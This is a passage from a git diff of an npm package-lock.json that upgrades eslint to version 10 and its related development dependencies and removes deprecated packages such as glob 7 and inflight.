"https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "version": "5.0.6", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.6.tgz", + "integrity": "sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g==", "dev": true, "license": "MIT", "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" } }, "node_modules/braces": { @@ -437,16 +480,6 @@ } } }, - "node_modules/callsites": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, "node_modules/catharsis": { "version": "0.9.0", "resolved": "https://registry.npmjs.org/catharsis/-/catharsis-0.9.0.tgz", @@ -555,13 +588,6 @@ "node": ">=12.17" } }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "dev": true, - "license": "MIT" - }, "node_modules/config-master": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/config-master/-/config-master-3.1.0.tgz", @@ -656,40 +682,6 @@ } } }, - "node_modules/doctrine": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", - "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "esutils": "^2.0.2" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, - "license": "MIT" - }, - "node_modules/enquirer": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.4.1.tgz", - "integrity": "sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-colors": "^4.1.1", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8.6" - } - }, "node_modules/entities": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", @@ -712,112 +704,91 @@ } }, "node_modules/eslint": { - "version": "7.32.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-7.32.0.tgz", - "integrity": "sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==", - "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.", + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-10.4.0.tgz", + "integrity": "sha512-loXy6bWOoP3EP6JA7jo6p5jMpBJmHmsNZM5SFRHLdh1MGOPurMnNBj4ZlAbaqUAaQWbCr7jHV4P7gzAyryZWkQ==", "dev": true, "license": "MIT", "dependencies": { - "@babel/code-frame": "7.12.11", - "@eslint/eslintrc": "^0.4.3", - "@humanwhocodes/config-array": "^0.5.0", - "ajv": "^6.10.0", - "chalk": "^4.0.0", - "cross-spawn": "^7.0.2", - "debug": "^4.0.1", - "doctrine": "^3.0.0", - "enquirer": "^2.3.5", + "@eslint-community/eslint-utils": "^4.8.0", + "@eslint-community/regexpp": "^4.12.2", + "@eslint/config-array": "^0.23.5", + "@eslint/config-helpers": "^0.6.0", + "@eslint/core": "^1.2.1", + "@eslint/plugin-kit": "^0.7.1", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.14.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", "escape-string-regexp": "^4.0.0", - "eslint-scope": "^5.1.1", - "eslint-utils": "^2.1.0", - "eslint-visitor-keys": "^2.0.0", - "espree": "^7.3.1", - "esquery": "^1.4.0", + "eslint-scope": "^9.1.2", + "eslint-visitor-keys": "^5.0.1", + "espree": "^11.2.0", + "esquery": "^1.7.0", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", - "file-entry-cache": "^6.0.1", - "functional-red-black-tree": "^1.0.1", - "glob-parent": "^5.1.2", - "globals": "^13.6.0", - "ignore": "^4.0.6", - "import-fresh": "^3.0.0", + "file-entry-cache": "^8.0.0", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", - "js-yaml": "^3.13.1", "json-stable-stringify-without-jsonify": "^1.0.1", - "levn": "^0.4.1", - "lodash.merge": "^4.6.2", - "minimatch": "^3.0.4", + "minimatch": "^10.2.4", "natural-compare": "^1.4.0", - "optionator": "^0.9.1", - "progress": "^2.0.0", - "regexpp": "^3.1.0", - "semver": "^7.2.1", - "strip-ansi": "^6.0.0", - "strip-json-comments": "^3.1.0", - "table": "^6.0.9", - "text-table": "^0.2.0", - "v8-compile-cache": "^2.0.3" + "optionator": "^0.9.3" }, "bin": { "eslint": "bin/eslint.js" }, "engines": { - "node": "^10.12.0 || >=12.0.0" + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + "node_modules/eslint-scope": { + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-9.1.2.tgz", + "integrity": "sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "@types/esrecurse": "^4.3.1", + "@types/estree": "^1.0.8", + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" }, "funding": { "url": "https://opencollective.com/eslint" } }, - "node_modules/eslint-scope": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", - "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "node_modules/eslint-visitor-keys": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", + "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^4.1.1" - }, + "license": "Apache-2.0", "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/eslint-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-2.1.0.tgz", - "integrity": "sha512-w94dQYoauyvlDc43XnGB8lU3Zt713vNChgt4EWwhXAP2XkBvndfxF0AgIqKOOasjPIPzj9JqgwkwbCYD0/V3Zg==", - "dev": true, - "license": "MIT", - "dependencies": { - "eslint-visitor-keys": "^1.1.0" - }, - "engines": { - "node": ">=6" + "node": "^20.19.0 || ^22.13.0 || >=24" }, "funding": { - "url": "https://github.com/sponsors/mysticatea" - } - }, - "node_modules/eslint-utils/node_modules/eslint-visitor-keys": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz", - "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=4" - } - }, - "node_modules/eslint-visitor-keys": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", - "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=10" + "url": "https://opencollective.com/eslint" } }, "node_modules/eslint/node_modules/escape-string-regexp": { @@ -833,49 +804,41 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/eslint/node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, "node_modules/espree": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/espree/-/espree-7.3.1.tgz", - "integrity": "sha512-v3JCNCE64umkFpmkFGqzVKsOT0tN1Zr+ueqLZfpV1Ob8e+CEgPWa+OxCoGH3tnhimMKIaBm4m/vaRpJ/krRz2g==", + "version": "11.2.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-11.2.0.tgz", + "integrity": "sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw==", "dev": true, "license": "BSD-2-Clause", "dependencies": { - "acorn": "^7.4.0", - "acorn-jsx": "^5.3.1", - "eslint-visitor-keys": "^1.3.0" + "acorn": "^8.16.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^5.0.1" }, "engines": { - "node": "^10.12.0 || >=12.0.0" - } - }, - "node_modules/espree/node_modules/eslint-visitor-keys": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz", - "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=4" - } - }, - "node_modules/esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "dev": true, - "license": "BSD-2-Clause", - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" + "node": "^20.19.0 || ^22.13.0 || >=24" }, - "engines": { - "node": ">=4" + "funding": { + "url": "https://opencollective.com/eslint" } }, "node_modules/esquery": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz", - "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", "dev": true, "license": "BSD-3-Clause", "dependencies": { @@ -885,16 +848,6 @@ "node": ">=0.10" } }, - "node_modules/esquery/node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.0" - } - }, "node_modules/esrecurse": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", @@ -908,7 +861,7 @@ "node": ">=4.0" } }, - "node_modules/esrecurse/node_modules/estraverse": { + "node_modules/estraverse": { "version": "5.3.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", @@ -918,16 +871,6 @@ "node": ">=4.0" } }, - "node_modules/estraverse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.0" - } - }, "node_modules/esutils": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", @@ -975,23 +918,6 @@ "dev": true, "license": "MIT" }, - "node_modules/fast-uri": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", - "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause" - }, "node_modules/fastq": { "version": "1.17.1", "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz", @@ -1002,16 +928,16 @@ } }, "node_modules/file-entry-cache": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", - "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", + "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", "dev": true, "license": "MIT", "dependencies": { - "flat-cache": "^3.0.4" + "flat-cache": "^4.0.0" }, "engines": { - "node": "^10.12.0 || >=12.0.0" + "node": ">=16.0.0" } }, "node_modules/file-set": { @@ -1065,64 +991,44 @@ } } }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/flat-cache": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.2.0.tgz", - "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", + "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", "dev": true, "license": "MIT", "dependencies": { "flatted": "^3.2.9", - "keyv": "^4.5.3", - "rimraf": "^3.0.2" + "keyv": "^4.5.4" }, "engines": { - "node": "^10.12.0 || >=12.0.0" + "node": ">=16" } }, "node_modules/flatted": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", - "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", + "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", "dev": true, "license": "ISC" }, - "node_modules/fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", - "dev": true, - "license": "ISC" - }, - "node_modules/functional-red-black-tree": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", - "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==", - "dev": true, - "license": "MIT" - }, - "node_modules/glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "deprecated": "Glob versions prior to v9 are no longer supported", - "dev": true, - "license": "ISC", - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, "node_modules/glob-parent": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", @@ -1136,16 +1042,13 @@ } }, "node_modules/globals": { - "version": "13.24.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz", - "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "version": "17.6.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-17.6.0.tgz", + "integrity": "sha512-sepffkT8stwnIYbsMBpoCHJuJM5l98FUF2AnE07hfvE0m/qp3R586hw4jF4uadbhvg1ooIdzuu7CsfD2jzCaNA==", "dev": true, "license": "MIT", - "dependencies": { - "type-fest": "^0.20.2" - }, "engines": { - "node": ">=8" + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" @@ -1189,32 +1092,15 @@ } }, "node_modules/ignore": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", - "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", "engines": { "node": ">= 4" } }, - "node_modules/import-fresh": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", - "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "parent-module": "^1.0.0", - "resolve-from": "^4.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", @@ -1225,25 +1111,6 @@ "node": ">=0.8.19" } }, - "node_modules/inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", - "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", - "dev": true, - "license": "ISC", - "dependencies": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "node_modules/inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true, - "license": "ISC" - }, "node_modules/is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", @@ -1253,16 +1120,6 @@ "node": ">=0.10.0" } }, - "node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, "node_modules/is-glob": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", @@ -1291,37 +1148,6 @@ "dev": true, "license": "ISC" }, - "node_modules/js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/js-yaml": { - "version": "3.14.2", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz", - "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==", - "dev": true, - "license": "MIT", - "dependencies": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/js-yaml/node_modules/argparse": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", - "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", - "dev": true, - "license": "MIT", - "dependencies": { - "sprintf-js": "~1.0.2" - } - }, "node_modules/js2xmlparser": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.2.tgz", @@ -1497,6 +1323,22 @@ "uc.micro": "^2.0.0" } }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/lodash": { "version": "4.18.1", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", @@ -1510,20 +1352,6 @@ "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==", "dev": true }, - "node_modules/lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/lodash.truncate": { - "version": "4.4.2", - "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz", - "integrity": "sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==", - "dev": true, - "license": "MIT" - }, "node_modules/markdown-it": { "version": "14.1.0", "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-14.1.0.tgz", @@ -1592,16 +1420,19 @@ } }, "node_modules/minimatch": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "version": "10.2.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", + "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", "dev": true, - "license": "ISC", + "license": "BlueOak-1.0.0", "dependencies": { - "brace-expansion": "^1.1.7" + "brace-expansion": "^5.0.5" }, "engines": { - "node": "*" + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" } }, "node_modules/minimist": { @@ -1655,16 +1486,6 @@ "node": ">=8.0.0" } }, - "node_modules/once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", - "dev": true, - "license": "ISC", - "dependencies": { - "wrappy": "1" - } - }, "node_modules/optionator": { "version": "0.9.4", "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", @@ -1683,27 +1504,46 @@ "node": ">= 0.8.0" } }, - "node_modules/parent-module": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", - "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", "dev": true, "license": "MIT", "dependencies": { - "callsites": "^3.0.0" + "yocto-queue": "^0.1.0" }, "engines": { - "node": ">=6" + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": 